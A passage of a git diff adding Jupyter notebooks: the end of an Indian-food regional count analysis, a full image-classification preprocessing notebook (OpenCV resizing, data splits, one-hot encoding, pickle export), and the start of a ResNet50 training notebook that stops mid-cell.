rbh4F4HnEMZQp1BmUe1fstnhG03H5n564j4MGVe3xGUcHoE5bp9TQu8DfsajUanti1JkjRhOKdKkiSpBoYqSZKkGhiqJEmSamCokiRJqoGhSpIkqQaGKkmSpBoYqiRJkmpgqJKkLouIqyKia18CK6kehipJkqQaeEV1SRNaRPQBn6d8P+dKlK8MOSszD42ItSjfMbYB8DTwC2DfzJxVPXYq8KrM/EDL9o4CtsnMN7euA1wOHAQsRfky4r0yc3a1fMe2aq2amfd1YHcldZA9VZImuuZ3hx0HvAn4GPBgRLwcuJTyBazrAh8B3gV8fxTPsRHwZuA9wLbVtvatlu0L3AD8gPI9oStSvuRZUo/xC5UlTVgR8Qrgc8B+mdkMS3cDN0TEbsDLge2bX8AaEbsDV0bEapl59wie6nHgM5n5PHBnRJwHbA4cl5mzImIuMDszH65p1yR1gT1VkiayNwJLAFcMsGxN4Na2b7S/HphXPW4k7qgCVdNDwPIj3IakhZyhSpJGrjkZdR7Q17ZssQHWf3aAx/v+K40zvqglTWR3AnMoQ3EDLVsrIia3lL2L8r55Z3V/BmUOVKu1R1GPucAio3icpIWIc6okTViZ+UREnAwcFxFzgGuA5YC3Az8EjgZ+FBFHAssAZwD/1TKf6lfAQRGxS/XYj1LOFPzzCKtyH7BuRKxCmRj/aGbOG8u+SVrw7KmSNNEdCnyVcgbgncAFwOsyczawFfBK4Gbg55Sz9HZpPjAzL6UEr2OB6cAqwGmjqMNJlN6qOyi9XyuNblckdZPXqZIkSaqBPVWSJEk1MFRJkiTVwFAlSZJUA0OVJElSDQxVkiRJNTBUSZIk1cBQJUmSVANDlSRJUg0MVZIkSTX4/0OXZKPYTQSTAAAAAElFTkSuQmCC", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "sns.countplot(y=df1.region)\n", + "plt.title('Regionwise number of Indian dishes')\n", + "plt.ylabel(None);" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "LGGHHN7odiU_" + }, + "source": [ + "From this graph we can clearly see the which region of India has more number of dishes.\n", + "\n", + "West India has the highest number of dishes about 60 dishes.\n", + "\n", + "Followed by North India having the second highest number of dishes about 45 dishes.\n", + "\n", + "And Central India has the least number of dishes about 3 dishes." + ] + } + ], + "metadata": { + "colab": { + "collapsed_sections": [], + "provenance": [] + }, + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python" + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/MachineLearning Projects/Image Classification using CNN TensorFlow OpenCV/1. PreProcessing.ipynb b/MachineLearning Projects/Image Classification using CNN TensorFlow OpenCV/1. PreProcessing.ipynb new file mode 100644 index 00000000..59145844 --- /dev/null +++ b/MachineLearning Projects/Image Classification using CNN TensorFlow OpenCV/1. PreProcessing.ipynb @@ -0,0 +1,602 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "6a9fb5f2", + "metadata": {}, + "source": [ + "More At : https://github.com/iSiddharth20/DeepLearning-ImageClassification-Toolkit" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4553514b-e3b6-4be4-9c88-533531557a17", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + "Working Directories\n", + "'''\n", + "import os\n", + "\n", + "# Directory of Original Dataset\n", + "DATA_DIR = '../Dataset'\n", + "\n", + "# Directory where Pickle Files will be Stored (Folder Will be Created by Code)\n", + "PICKLE_DIR = '../PickleFiles/'\n", + "os.makedirs(os.path.dirname(PICKLE_DIR), exist_ok=True)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "277ef5b7-6a3a-4759-8912-c9d9282f7f99", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + "Importing Necessary Libraries and Packages\n", + "'''\n", + "\n", + "# Helpers\n", + "import random\n", + "import pickle\n", + "import concurrent.futures\n", + "from HelperFunctions import images_on_side, image_processing\n", + "\n", + "# Data Handling and Visualization\n", + "import numpy as np\n", + "import pandas as pd \n", + "import matplotlib.pyplot as plt\n", + "\n", + "# Image Processing\n", + "import cv2\n", + "from skimage.io import imread as sk_imread\n", + "\n", + "# Model Pipelining \n", + "from sklearn.preprocessing import OneHotEncoder\n", + "from sklearn.model_selection import train_test_split" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "48da2009-4b18-4ffe-b0de-89f929b7142b", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + "Creating a DataFrame containing \n", + " - Paths of All Source Image Files and their respective Class Label\n", + "'''\n", + "\n", + "def get_file_paths(main_dir):\n", + " file_paths = []\n", + " damage_class = []\n", + " df = pd.DataFrame()\n", + " for root, dir, files in os.walk(main_dir):\n", + " if root == main_dir:\n", + " continue\n", + " class_damage = os.path.basename(root)\n", + " lst = [os.path.join(root, filename) for filename in files]\n", + " file_paths.extend(lst)\n", + " damage_class.extend([class_damage] * len(lst))\n", + " del(lst) # Clear RAM\n", + " del(class_damage) # Clear RAM\n", + " df['File Path'] = file_paths\n", + " df['Class Label'] = damage_class\n", + " del(file_paths) # Clear RAM\n", + " del(damage_class) # Clear RAM\n", + " return df\n", + "\n", + "# The DataFrame\n", + "df = get_file_paths(DATA_DIR)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "447261de-79cb-4f34-a024-a4cf8765e53b", + "metadata": {}, + "outputs": [], + "source": [ + "# Getting Details About Created DataFrame\n", + "\n", + "print('Shape of Created DataFrame : ', df.shape)\n", + "print('Total Number of Sample Images : ',len(df))\n", + "print('Total Number of Class Label : ',len(set(df['Class Label'])))\n", + "print('\\nNumber of Samples for Each Class Label :\\n',df.groupby('Class Label')['File Path'].count().to_string()[12:])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7f143a47-dcf4-45a8-83d3-69b828690962", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + "Verify if there is any Redundancy in DataFrame \n", + " - Ideally, There should be No Redundancy\n", + "Verify if all File Paths exist in Mentioned Directory\n", + " - Ideally, All Paths should Exist\n", + "Export Entire DataFrame as a Pickle File\n", + " - Only If there is No Redundancy and All Paths Exist\n", + "'''\n", + "\n", + "# Verify : Duplicate Values / Redundancy\n", + "redundancy = True\n", + "duplicates = df[df['File Path'].duplicated(keep=False)]\n", + "if len(duplicates)>0:\n", + " print(\"Redundancy Identified As :\")\n", + " print(duplicates['File Path'])\n", + "else:\n", + " print('There is No Redundancy.')\n", + " redundancy = False\n", + "del(duplicates) # Clear RAM\n", + "\n", + "# Verify : All Paths Exist\n", + "validity = False\n", + "paths = list(df['File Path'])\n", + "nonexistent_paths = [path for path in paths if not os.path.exists(path)]\n", + "if len(nonexistent_paths)>0:\n", + " print(\"Non-Existent Paths Identified As :\")\n", + " print(nonexistent_paths)\n", + "else:\n", + " print('All Paths Exist.')\n", + " validity = True\n", + "del(paths) # Clear RAM\n", + "del(nonexistent_paths) # Clear RAM\n", + "\n", + "# Export DataFrame as a Pickle File if all conditions are met\n", + "if redundancy == False and validity == True:\n", + " df.to_pickle(PICKLE_DIR+\"FilePathsAndClassLabels.pkl\")\n", + " print('DataFrame Successfully Exported as Pickle File.')\n", + "else:\n", + " print('Cannot Export DataFrame, Check for Redundancy and Validity of File Paths')\n", + "del(redundancy) # Clear RAM\n", + "del(validity) # Clear RAM" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "752761ee-1990-40cb-828c-40472de7aa33", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + " ** Verification Only **\n", + "Getting Random Sample (Image) from Dataset\n", + "Checking Dimentions of Obtained Random Sample\n", + "Extracting Largest Object from Image (Optional but Recommended)\n", + "Resize Random Sample to 600X400 (Optional but Recommended)\n", + "Visualizing Original and Resize Sample Side-by-Side\n", + " - Ideally, Images Displayed Side-By-Side should be Similar\n", + "'''\n", + "\n", + "# Obtaining and Checking Dimentions of a Random Image from Dataset\n", + "path = random.choice(df['File Path'])\n", + "sample_img = sk_imread(path)\n", + "print('Original Dimentions of Random Sample : ',sample_img.shape)\n", + "\n", + "# Extracting Largest Object from Image (Optional)\n", + "processed_img = image_processing(path)\n", + "\n", + "# Rescaling and Verifying \n", + "IMG_HEIGHT = 400\n", + "IMG_WIDTH = 600\n", + "IMG_CHANNELS = 3 # Assuming RGB Image\n", + "processed_img = cv2.resize(processed_img, (IMG_WIDTH, IMG_HEIGHT))\n", + "print('Dimentions of ProcessedRandom Sample : ',processed_img.shape)\n", + "\n", + "# Visualizing Original and Processed Random Image\n", + "images_on_side(sample_img,'Original Random Sample',processed_img,'Processed Random Sample')\n", + "\n", + "\n", + "del(path) # Clear RAM\n", + "del(sample_img) # Clear RAM\n", + "del(processed_img) # Clear RAM" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "33f05199-c4e4-4a99-ae16-2e6be388df1a", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + "*Using Parallel Processing for Faster Results*\n", + "Extracting Largest Object from Image and Change Background to Black\n", + "Resize All Processed Images to 600X400 (Optional but Recommended)\n", + "Convert Images to Numpy Arrays\n", + " - Later referred to as ImageArray\n", + "Export Image Arrays as Pickle File \n", + " - Exporting is done after every 'export_after' number of Images\n", + "'''\n", + "\n", + "export_after = 1000\n", + "\n", + "def process_images_chunk(chunk, start_index):\n", + " chunk_result = np.zeros((len(chunk), IMG_HEIGHT, IMG_WIDTH, IMG_CHANNELS), np.uint8)\n", + " for i, pth in enumerate(chunk):\n", + " img = image_processing(pth)\n", + " chunk_result[i] = cv2.resize(img, (IMG_WIDTH, IMG_HEIGHT))\n", + " return start_index, chunk_result\n", + "\n", + "chunks = [df['File Path'][i:i+export_after].tolist() for i in range(0, len(df['File Path']), export_after)]\n", + "\n", + "X = np.zeros((len(df), IMG_HEIGHT, IMG_WIDTH, IMG_CHANNELS), np.uint8)\n", + "\n", + "with concurrent.futures.ProcessPoolExecutor() as executor:\n", + " futures = {executor.submit(process_images_chunk, chunk, i*export_after): i for i, chunk in enumerate(chunks)}\n", + " for future in concurrent.futures.as_completed(futures):\n", + " start_index, result = future.result()\n", + " end_index = start_index + len(result)\n", + " X[start_index:end_index] = result\n", + " print(f'Processed chunk starting at index: {start_index}')\n", + "\n", + "# Save the merged result\n", + "with open(PICKLE_DIR + 'ImageArrays.pkl', 'wb') as f:\n", + " pickle.dump(X, f)\n", + "print('Image Array Export Completed.')" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f955d706-00c1-491c-8945-d0b6f1cbff9c", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + " ** Verification Only **\n", + "Index 'i' of DataFrame should reflect the DamageClass for Image at Index 'i' in ImageArray \n", + " - This is done as a Verification Step before using Data for Model Training/Testing.\n", + " - Verification Done using 10 Random Samples.\n", + " - NOTE : Ideally, All Images should match the Labels\n", + "'''\n", + "\n", + "# Select 10 Random Images for Verification\n", + "inds = list(np.random.randint(0, len(df), 10))\n", + "\n", + "# Show Images from Image Array and Class Label from DataFrame\n", + "for i in range(0,10,2):\n", + " images_on_side(X[inds[i]],df['Class Label'].iloc[inds[i]],X[inds[i+1]],df['Class Label'].iloc[inds[i+1]])\n", + "\n", + "del(inds) # Clear RAM" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "760ab34e", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + " ** Optional Step **\n", + "Merging Class Labeles\n", + " - By Default, Merging of Damaged Classes is Disabled\n", + "'''\n", + "\n", + "# Set 'merge' to True if Merging of Damaged Classes is Needed\n", + "merge = False\n", + "\n", + "if merge == True :\n", + " # List of Class Labeles to Merge\n", + " to_merge = ['ClassLabel1', 'ClassLabel2', 'ClassLabel3', 'ClassLabel4']\n", + " # Class Label to Merge Into\n", + " merge_into = 'CombinedClassLabel'\n", + " # Merging and Verification\n", + " df['Class Label'].replace(to_merge, merge_into, inplace=True)\n", + " print('Merging Of Class Label is Successful.')\n", + " print('Number of Samples for Each Class Label : \\n',df.groupby('Class Label')['File Path'].count().to_string()[12:])\n", + " del(to_merge) # Clear RAM\n", + " del(merge_into) # Clear RAM\n", + "else:\n", + " print('Merging Of Class Label is Disabled. \\n')\n", + " print('Number of Samples for Each Class Label : \\n',df.groupby('Class Label')['File Path'].count().to_string()[12:])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1ae6b83d", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + "Split the Data for Training, Testing, Validation\n", + " - SEED ensures that Generated Splits are Reproducible.\n", + " - Both DataFrame and ImageArrays are Split for Training and Testing\n", + " -'stratify' ensures that Proportion of Items in Splits is Same as that in the Parameter\n", + "'''\n", + "\n", + "# Splitting Data\n", + "SEED = 50\n", + "test_size = 0.15\n", + "val_size = 0.15\n", + "temp_size = test_size / (test_size + val_size) # proportion of test and validation set\n", + "\n", + "# Split DamageClassLabels and ImgArray into Training and Temporary (will be split into Testing and Validation).\n", + "ClassLabels_train, ClassLabels_temp, ImgArray_train, ImgArray_temp = train_test_split(df, X, stratify=df['Class Label'], shuffle=True, test_size=test_size+val_size, random_state=SEED)\n", + "del(df) # Clear RAM\n", + "del(X) # Clear RAM\n", + "\n", + "# Split temporary datasets into Testing and Validation.\n", + "ClassLabels_validation, ClassLabels_test, ImgArray_validation, ImgArray_test = train_test_split(ClassLabels_temp, ImgArray_temp, stratify=ClassLabels_temp['Class Label'], shuffle=True, test_size=temp_size, random_state=SEED)\n", + "del(ClassLabels_temp) # Clear RAM\n", + "del(ImgArray_temp) # Clear RAM\n", + "\n", + "del(SEED) # Clear RAM\n", + "del(test_size) # Clear RAM\n", + "del(val_size) # Clear RAM\n", + "del(temp_size) # Clear RAM\n", + "\n", + "# Getting Overview of Split Data\n", + "print('Item:','ClassLabels_train',' Shape:',ClassLabels_train.shape)\n", + "print('Item:','ClassLabels_test',' Shape:',ClassLabels_test.shape)\n", + "print('Item:','ClassLabels_validation',' Shape:',ClassLabels_validation.shape)\n", + "print('Item:','ImgArray_train',' Shape:',ImgArray_train.shape)\n", + "print('Item:','ImgArray_test',' Shape:',ImgArray_test.shape)\n", + "print('Item:','ImgArray_validation',' Shape:',ImgArray_validation.shape)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "05f3c75c", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + " ** Verification Only **\n", + "Verify that Data Split is Successful.\n", + " - Index 'i' of ImgArray_train should have exactly same image as Index 'i' of ClassLabels_train\n", + " - Index 'i' of ImgArray_test should have exactly same image as Index 'i' of ClassLabels_test\n", + " - NOTE : Ideally, Images on Left and Right should be Exactly Same\n", + " \n", + "'''\n", + "\n", + "# Index 'i' of ImgArray_train should have exactly same image as Index 'i' of df_train\n", + "ind = random.randint(0, len(ClassLabels_train))\n", + "images_on_side(ImgArray_train[ind],'Sample from ImgArray_train',sk_imread(ClassLabels_train['File Path'].iloc[ind]),'Sample from ClassLabels_train')\n", + "del(ind) # Clear RAM\n", + "\n", + "# Index 'i' of ImgArray_test should have exactly same image as Index 'i' of df_test\n", + "ind = random.randint(0, len(ClassLabels_test))\n", + "images_on_side(ImgArray_test[ind],'Sample from ImgArray_test',sk_imread(ClassLabels_test['File Path'].iloc[ind]),'Sample from ClassLabels_test')\n", + "del(ind) # Clear RAM" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c8757f71", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + " ** Optional Step **\n", + "Over-Sampling Training Data\n", + " - By Default, Over-Sampling Training Data is Disabled\n", + "'''\n", + "\n", + "# Set 'oversample' to True if Over-Sampling Training Data is Needed\n", + "oversample = False\n", + "\n", + "# Data Properties BEFORE Over Sampling\n", + "print(' BEFORE Over Sampling : \\n')\n", + "print('Number of Training Samples : \\n',ClassLabels_train['Class Label'].value_counts().to_string()[12:])\n", + "print('Shape of Training ImageArray : ',ImgArray_train.shape)\n", + "print('Number of Training Samples : ',len(ClassLabels_train))\n", + "\n", + "# Reset Previous Index to avoid Indexing Issues\n", + "ClassLabels_train.reset_index(drop=True, inplace=True)\n", + "ClassLabels_test.reset_index(drop=True, inplace=True)\n", + "ClassLabels_validation.reset_index(drop=True, inplace=True)\n", + "\n", + "# Perform Over-Sampling\n", + "if oversample == True:\n", + " max_class_len = max(ClassLabels_train['Class Label'].value_counts())\n", + " oversample_df = pd.DataFrame()\n", + " oversample_X = np.array(np.zeros((0, IMG_WIDTH, IMG_HEIGHT, IMG_CHANNELS)), dtype='uint8')\n", + " for damage in set(ClassLabels_train['Class Label']):\n", + " damage_df = ClassLabels_train[ClassLabels_train['Class Label']==damage]\n", + " damage_X = ImgArray_train[damage_df.index]\n", + " class_len = len(damage_df)\n", + " if class_len != max_class_len:\n", + " extra = max_class_len - class_len\n", + " inds = random.sample(range(class_len), extra)\n", + " extra_df = damage_df.iloc[inds]\n", + " extra_X = damage_X[inds]\n", + " oversample_X = np.vstack([oversample_X, extra_X])\n", + " oversample_df = pd.concat([oversample_df, extra_df]).reset_index(drop=True)\n", + " del(inds) # Clear RAM\n", + " del(damage_X) # Clear RAM\n", + " del(damage_df) # Clear RAM\n", + " del(extra_df) # Clear RAM\n", + " del(extra_df) # Clear RAM\n", + " if len(set(ClassLabels_train['Class Label'].value_counts())) != 1:\n", + " ClassLabels_train = pd.concat([ClassLabels_train, oversample_df]).reset_index(drop=True)\n", + " ImgArray_train = np.vstack([ImgArray_train, oversample_X])\n", + " y_train = ClassLabels_train['Class Label']\n", + " del(max_class_len) # Clear RAM\n", + " del(oversample_df) # Clear RAM\n", + " del(oversample_X) # Clear RAM\n", + " del(oversample) # Clear RAM\n", + "\n", + "# Data Properties AFTER Over-Sampling\n", + "print('\\n AFTER Over Sampling : \\n')\n", + "print('Number of Training Samples : \\n',ClassLabels_train['Class Label'].value_counts().to_string()[12:])\n", + "print('Shape of Training ImageArray : ',ImgArray_train.shape)\n", + "print('Number of Training Samples : ',len(ClassLabels_train))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "17e70c16", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + " ** Verification Only **\n", + "Verify that Random Sampling is Successful.\n", + " - Index 'i' of ImgArray_train should have exactly same image as Index 'i' of ClassLabels_train\n", + " - Verification is done Twice\n", + " - NOTE : Ideally, Images on Left and Right should be Exactly Same\n", + "\n", + "'''\n", + "\n", + "for _ in range(2):\n", + " ind = random.randint(0, len(ClassLabels_train))\n", + " images_on_side(ImgArray_train[ind],'Sample from ImgArray_train',sk_imread(ClassLabels_train['File Path'].iloc[ind]),'Sample from ClassLabels_train')\n", + " del(ind) # Clear RAM" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6d402016", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + "One-Hot-Encoding for \n", + " - Training Class Label Labels\n", + " - Testing Class Label Labels\n", + " - Validation Class Label Labels\n", + "'''\n", + "\n", + "# Defining One-Hot-Encoding\n", + "OHE = OneHotEncoder(sparse_output=False)\n", + "\n", + "# One-Hot-Encoding of Training Class Label Labels\n", + "ClassLabels_train = np.array(ClassLabels_train['Class Label']).reshape(-1,1)\n", + "ClassLabels_train = OHE.fit_transform(ClassLabels_train)\n", + "\n", + "# One-Hot-Encoding of Testing Class Label Labels\n", + "ClassLabels_test = np.array(ClassLabels_test['Class Label']).reshape(-1,1)\n", + "ClassLabels_test = OHE.fit_transform(ClassLabels_test)\n", + "\n", + "# One-Hot-Encoding of Validation Class Label Labels\n", + "ClassLabels_validation = np.array(ClassLabels_validation['Class Label']).reshape(-1,1)\n", + "ClassLabels_validation = OHE.fit_transform(ClassLabels_validation)\n", + "\n", + "OHE_classes = OHE.categories_[0]\n", + "print('Class Labeles for One-Hot-Encoding Are : \\n',OHE_classes)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "babecf7c", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + "Exporting the following One-Hot-Encoded Data as Pickle Files\n", + " - ClassLabels_train\n", + " - ClassLabels_test\n", + " - ClassLabels_validation\n", + "Exporting the following as Pickle Files\n", + " - ImgArray_train\n", + " - ImgArray_test\n", + " - ImgArray_validation\n", + "Exporting One-Hot-Encoding\n", + "'''\n", + "\n", + "# Exporting ClassLabels_train\n", + "try:\n", + " with open (PICKLE_DIR+'ClassLabels_train.pkl', 'wb') as f: pickle.dump(ClassLabels_train, f)\n", + " print('Export Successful for : ClassLabels_train.pkl ') \n", + " del(ClassLabels_train) # Clear RAM\n", + "except:\n", + " print('Export Unsuccessful for : ClassLabels_train.pkl ')\n", + "\n", + "# Exporting ClassLabels_test\n", + "try:\n", + " with open (PICKLE_DIR+'ClassLabels_test.pkl', 'wb') as f: pickle.dump(ClassLabels_test, f)\n", + " print('Export Successful for : ClassLabels_test.pkl ') \n", + " del(ClassLabels_test) # Clear RAM\n", + "except:\n", + " print('Export Unsuccessful for : ClassLabels_test.pkl ')\n", + "\n", + "# Exporting ClassLabels_validation\n", + "try:\n", + " with open (PICKLE_DIR+'ClassLabels_validation.pkl', 'wb') as f: pickle.dump(ClassLabels_validation, f)\n", + " print('Export Successful for : ClassLabels_validation.pkl ') \n", + " del(ClassLabels_validation) # Clear RAM\n", + "except:\n", + " print('Export Unsuccessful for : ClassLabels_validation.pkl ')\n", + "\n", + " \n", + "# Exporting ImgArray_train\n", + "try:\n", + " with open (PICKLE_DIR+'ImgArray_train.pkl', 'wb') as f: pickle.dump(ImgArray_train, f)\n", + " print('Export Successful for : ImgArray_train.pkl') \n", + " del(ImgArray_train) # Clear RAM\n", + "except:\n", + " print('Export Unsuccessful for : ImgArray_train.pkl ')\n", + "\n", + "# Exporting ImgArray_test\n", + "try:\n", + " with open (PICKLE_DIR+'ImgArray_test.pkl', 'wb') as f: pickle.dump(ImgArray_test, f)\n", + " print('Export Successful for : ImgArray_test.pkl')\n", + " del(ImgArray_test) # Clear RAM\n", + "except:\n", + " print('Export Unsuccessful for : ImgArray_test.pkl ') \n", + "\n", + "# Exporting ImgArray_validation\n", + "try:\n", + " with open (PICKLE_DIR+'ImgArray_validation.pkl', 'wb') as f: pickle.dump(ImgArray_validation, f)\n", + " print('Export Successful for : ImgArray_validation.pkl')\n", + " del(ImgArray_validation) # Clear RAM\n", + "except:\n", + " print('Export Unsuccessful for : ImgArray_validation.pkl ') \n", + "\n", + " \n", + "# Exporting One-Hot-Encoding \n", + "try:\n", + " with open (PICKLE_DIR+'OHE.pkl', 'wb') as f: pickle.dump(OHE, f)\n", + " print('Export Successful for : OHE.pkl')\n", + " del(OHE) # Clear RAM\n", + "except:\n", + " print('Export Unsuccessful for : OHE.pkl ') " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0e1e3bfb-f1f8-4db6-8943-da8fce55b769", + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.5" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/MachineLearning Projects/Image Classification using CNN TensorFlow OpenCV/2. Training_CNN_ResNet50.ipynb b/MachineLearning Projects/Image Classification using CNN TensorFlow OpenCV/2. Training_CNN_ResNet50.ipynb new file mode 100644 index 00000000..01ac2a29 --- /dev/null +++ b/MachineLearning Projects/Image Classification using CNN TensorFlow OpenCV/2. Training_CNN_ResNet50.ipynb @@ -0,0 +1,331 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "bf037fe5", + "metadata": {}, + "source": [ + "More At : https://github.com/iSiddharth20/DeepLearning-ImageClassification-Toolkit" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4638d9ab", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + "Working Directories\n", + "Name of Model\n", + "'''\n", + "import os\n", + "\n", + "# Directory where Pickle Files will be Stored\n", + "PICKLE_DIR = '../PickleFiles/'\n", + "\n", + "# Directory where Models will be Stored (Folder will be Creted By Code)\n", + "MODEL_DIR = '../TrainedModels/'\n", + "os.makedirs(os.path.dirname(MODEL_DIR), exist_ok=True)\n", + "\n", + "# Name of Model Used\n", + "MODEL_NAME = 'CNN_ResNet50'" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ce1f5a49", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + "Importing Necessary Libraries and Packages\n", + "'''\n", + "# Disable TensorFlow Warnings\n", + "os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n", + "\n", + "# Helpers\n", + "import pickle\n", + "\n", + "# To log Trainnig Time\n", + "from datetime import datetime\n", + "\n", + "# Importing TensorFlow\n", + "import tensorflow as tf\n", + "from tensorflow.keras.metrics import Precision, Recall, AUC\n", + "from tensorflow.keras.callbacks import ReduceLROnPlateau" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "756ddf50", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + "Importing the following One-Hot-Encoded Data from Pickle Files\n", + " - ClassLabels_train\n", + " - ClassLabels_test\n", + " - ClassLabels_validation\n", + "Importing the following from Pickle Files\n", + " - ImgArray_train\n", + " - ImgArray_test\n", + " - ImgArray_validation\n", + "Importing One-Hot-Encoding\n", + "'''\n", + "\n", + "# Exporting ClassLabels_train\n", + "try:\n", + " with open(PICKLE_DIR+'ClassLabels_train.pkl', 'rb') as f: ClassLabels_train = pickle.load(f)\n", + " print('Import Successful for : ClassLabels_train.pkl ') \n", + "except:\n", + " print('Import Unsuccessful for : ClassLabels_train.pkl ')\n", + "\n", + "# Exporting ClassLabels_test\n", + "try:\n", + " with open(PICKLE_DIR+'ClassLabels_test.pkl', 'rb') as f: ClassLabels_test = pickle.load(f)\n", + " print('Import Successful for : ClassLabels_test.pkl ') \n", + "except:\n", + " print('Import Unsuccessful for : ClassLabels_test.pkl ')\n", + "\n", + "# Exporting ClassLabels_validation\n", + "try:\n", + " with open(PICKLE_DIR+'ClassLabels_validation.pkl', 'rb') as f: ClassLabels_validation = pickle.load(f)\n", + " print('Import Successful for : ClassLabels_validation.pkl ') \n", + "except:\n", + " print('Import Unsuccessful for : ClassLabels_validation.pkl ')\n", + "\n", + " \n", + "# Exporting ImgArray_train\n", + "try:\n", + " with open(PICKLE_DIR+'ImgArray_train.pkl', 'rb') as f: ImgArray_train = pickle.load(f)\n", + " print('Import Successful for : ImgArray_train.pkl') \n", + "except:\n", + " print('Import Unsuccessful for : ImgArray_train.pkl ')\n", + "\n", + "# Exporting ImgArray_test\n", + "try:\n", + " with open(PICKLE_DIR+'ImgArray_test.pkl', 'rb') as f: ImgArray_test = pickle.load(f)\n", + " print('Import Successful for : ImgArray_test.pkl')\n", + "except:\n", + " print('Import Unsuccessful for : ImgArray_test.pkl ') \n", + "\n", + "# Exporting ImgArray_validation\n", + "try:\n", + " with open(PICKLE_DIR+'ImgArray_validation.pkl', 'rb') as f: ImgArray_validation = pickle.load(f)\n", + " print('Import Successful for : ImgArray_validation.pkl')\n", + "except:\n", + " print('Import Unsuccessful for : ImgArray_validation.pkl ') \n", + "\n", + " \n", + "# Exporting One-Hot-Encoding \n", + "try:\n", + " with open(PICKLE_DIR+'OHE.pkl', 'rb') as f: OHE = pickle.load(f)\n", + " print('Import Successful for : OHE.pkl')\n", + "except:\n", + " print('Import Unsuccessful for : OHE.pkl ') " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "aea3aaa6", + "metadata": {}, + "outputs": [], + "source": [ + "'''\n", + "Preparing Data Pipeline\n", + " - Convert All Data to TensorFlow Format\n", + " - Defining Data Augmentation Function\n", + " - Defining Rescaled Image Height, Width\n", + "\n", + "Change BATCH_SIZE as per Requirement.\n", + " - Higher the BATCH_SIZE (usually 16-32) the better\n", + " - If you get 'Resource Exhaust Error', decrease the BATCH_SIZE\n", + "'''\n", + "\n", + "BATCH_SIZE = 8 \n", + "IMG_HEIGHT = 400\n", + "IMG_WIDTH = 600\n", + "IMG_CHANNELS = 3 # Assuming RGB Image\n", + "\n", + "# Training Dataset\n", + "train_dataset = tf.data.Dataset.from_tensor_slices((ImgArray_train,ClassLabels_train))\n", + "train_dataset = train_dataset.shuffle(10000, reshuffle_each_iteration=True)\n", + "train_dataset = train_dataset.cache()\n", + "train_dataset = train_dataset.repeat()\n", + "train_dataset = train_dataset.batch(BATCH_SIZE)\n", + "train_dataset = train_dataset.prefetch(tf.data.AUTOTUNE)\n", + "del(ImgArray_train) # Clear RAM\n", + "\n", + "# Testing Dataset\n", + "test_dataset = tf.data.Dataset.from_tensor_slices((ImgArray_test,ClassLabels_test))\n", + "test_dataset = test_dataset.batch(BATCH_SIZE)\n", + "del(ImgArray_test) # Clear RAM\n", + "del(ClassLabels_test) # Clear RAM\n", + "\n", + "# Validation Dataset\n", + "val_dataset = tf.data.Dataset.from_tensor_slices((ImgArray_validation,ClassLabels_validation))\n", + "val_dataset = val_dataset.batch(BATCH_SIZE)\n", + "del(ImgArray_validation) # Clear RAM\n", + "\n", + "# Data Augmentation\n", + "data_augmentation = tf.keras.Sequential([\n", + " tf.keras.layers.experimental.preprocessing.RandomFlip(\"horizontal\"),\n", + " tf.keras.layers.experimental.preprocessing.RandomTranslation(0.03, 0.06),\n", + " tf.keras.layers.experimental.preprocessing.RandomRotation(0.015),\n", + " tf.keras.layers.experimental.preprocessing.RandomHeight(0.1, interpolation='nearest'),\n", + " tf.keras.layers.experimental.preprocessing.RandomWidth(0.1), \n", + "])\n", + "\n", + "# Steps Per Epoch and Validation Steps\n", + "steps_per_epoch = len(ClassLabels_train) // BATCH_SIZE\n", + "validation_steps = len(ClassLabels_validation) // 